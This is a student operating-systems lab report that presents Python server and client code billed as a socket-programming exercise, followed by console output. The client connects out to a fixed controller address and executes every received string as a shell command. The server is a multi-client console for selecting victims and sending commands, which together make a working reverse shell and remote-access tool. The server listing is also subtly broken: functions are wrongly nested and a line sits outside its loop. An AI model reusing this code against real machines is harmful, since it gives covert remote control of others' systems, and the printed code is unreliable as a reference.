

# ADVANCE OPERATING SYSTEM LAB (CSD-416) ASSIGNMENT 1

AKSHAT RAJ VANSI (185520)

---

DECEMBER 5, 2021



## Contents

<b>1</b>	<b>Client-Server Application using Socket Programming</b>	<b>2</b>
1.1	Code - Server . . . . .	2
1.2	Code - Client . . . . .	5
1.3	Output . . . . .	6

# 1 Client-Server Application using Socket Programming

## 1.1 Code - Server

---

```
1  import socket
2  import sys
3  import threading
4  import time
5  from queue import Queue
6
7  NUMBER_OF_THREADS = 2
8  JOB_NUMBER = [1, 2]
9  queue = Queue()
10 all_connections = []
11 all_address = []
12
13 def create_socket():
14     try:
15         global host
16         global port
17         global s
18         host = ""
19         port = 9999
20         s = socket.socket()
21
22     except socket.error as msg:
23         print("Socket creation error: " + str(msg))
24
25 def bind_socket():
26     try:
27         global host
28         global port
29         global s
30         print("Binding the Port: " + str(port))
31
32         s.bind((host, port))
33         s.listen(5)
34
35     except socket.error as msg:
36         print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
37         bind_socket()
38
39
40 def accepting_connections():
41     for c in all_connections:
42         c.close()
43
44     del all_connections[:]
45     del all_address[:]
46
47     while True:
48         try:
49             conn, address = s.accept()
50             s.setblocking(1)
51             all_connections.append(conn)
52             all_address.append(address)
53             print("Connection has been established : " + address[0])
54         except:
```

```
55         print("Error accepting connections")
56
57 def start_turtle():
58     while True:
59         cmd = input('turtle> ')
60         if cmd == 'list':
61             list_connections()
62         elif 'select' in cmd:
63             conn = get_target(cmd)
64             if conn is not None:
65                 send_target_commands(conn)
66         else:
67             print("Command not recognized")
68
69 def list_connections():
70     results = ''
71
72     for i, conn in enumerate(all_connections):
73         try:
74             conn.send(str.encode(' '))
75             conn.recv(20480)
76         except:
77             del all_connections[i]
78             del all_address[i]
79             continue
80
81     results = str(i) + "    " + str(
82         all_address[i][0]) + "    " + str(all_address[i][1]
83         ) + "\n"
84     print("----Clients----" + "\n" + results)
85
86 def get_target(cmd):
87     try:
88         target = cmd.replace('select ', '')
89         target = int(target)
90         conn = all_connections[target]
91         print("You are now connected to :" + str(all_address[target][0]))
92         print(str(all_address[target][0]) + ">", end="")
93         return conn
94     except:
95         print("Selection not valid")
96         return None
97
98 def send_target_commands(conn):
99     while True:
100         try:
101             cmd = input()
102             if cmd == 'quit':
103                 break
104             if len(str.encode(cmd)) > 0:
105                 conn.send(str.encode(cmd))
106                 client_response = str(conn.recv(20480), "utf-8")
107                 print(client_response, end="")
108         except:
109             print("Error sending commands")
110             break
111
112 def create_workers():
```

```
113     for _ in range(NUMBER_OF_THREADS):
114         t = threading.Thread(target=work)
115         t.daemon = True
116         t.start()
117
118     def work():
119         while True:
120             x = queue.get()
121             if x == 1:
122                 create_socket()
123                 bind_socket()
124                 accepting_connections()
125             if x == 2:
126                 start_turtle()
127
128             queue.task_done()
129
130
131     def create_jobs():
132         for x in JOB_NUMBER:
133             queue.put(x)
134
135     queue.join()
136
137
138     create_workers()
139     create_jobs()
```

---

## 1.2 Code - Client

---

```
1 import socket
2 import os
3 import subprocess
4
5 s = socket.socket()
6 host = '192.168.0.139'
7 port = 9999
8
9 s.connect((host, port))
10
11 while True:
12     data = s.recv(1024)
13     if data[:2].decode("utf-8") == 'cd':
14         os.chdir(data[3:].decode("utf-8"))
15
16     if len(data) > 0:
17         cmd = subprocess.Popen(data[:].decode("utf-8"),
18                                 shell=True, stdout=subprocess.PIPE,
19                                 stdin=subprocess.PIPE, stderr=subprocess.PIPE)
20         output_byte = cmd.stdout.read() + cmd.stderr.read()
21         output_str = str(output_byte,"utf-8")
22         currentWD = os.getcwd() + "> "
23         s.send(str.encode(output_str + currentWD))
24
25     print(output_str)
```

---

### 1.3 Output

#### *Socket Programming Outputs*

##### *Server Side*

```
PS D:\Coding\Advance Operating System Lab> & C:/Users/AkshatRajVansh/AppData/Local/Programs/Python/Python310/python.exe "d:/Coding/Advance Operating System Lab/1-Socket-Programming/Code/server.py"
turtle> Binding the Port: 9999
Connection has been established :192.168.0.139
list
----Clients----
0 192.168.0.139 57778

turtle> select 0
You are now connected to :192.168.0.139
192.168.0.139>ls
client.py
server.py
/mnt/d/Coding/Advance Operating System Lab/1-Socket-Programming/Code> █
```

##### *Client Side*

```
arveus@arveus-omen:~/Advance Operating System Lab/1-Socket-Programming/Code$
python3 client.py

client.py
server.py

█
```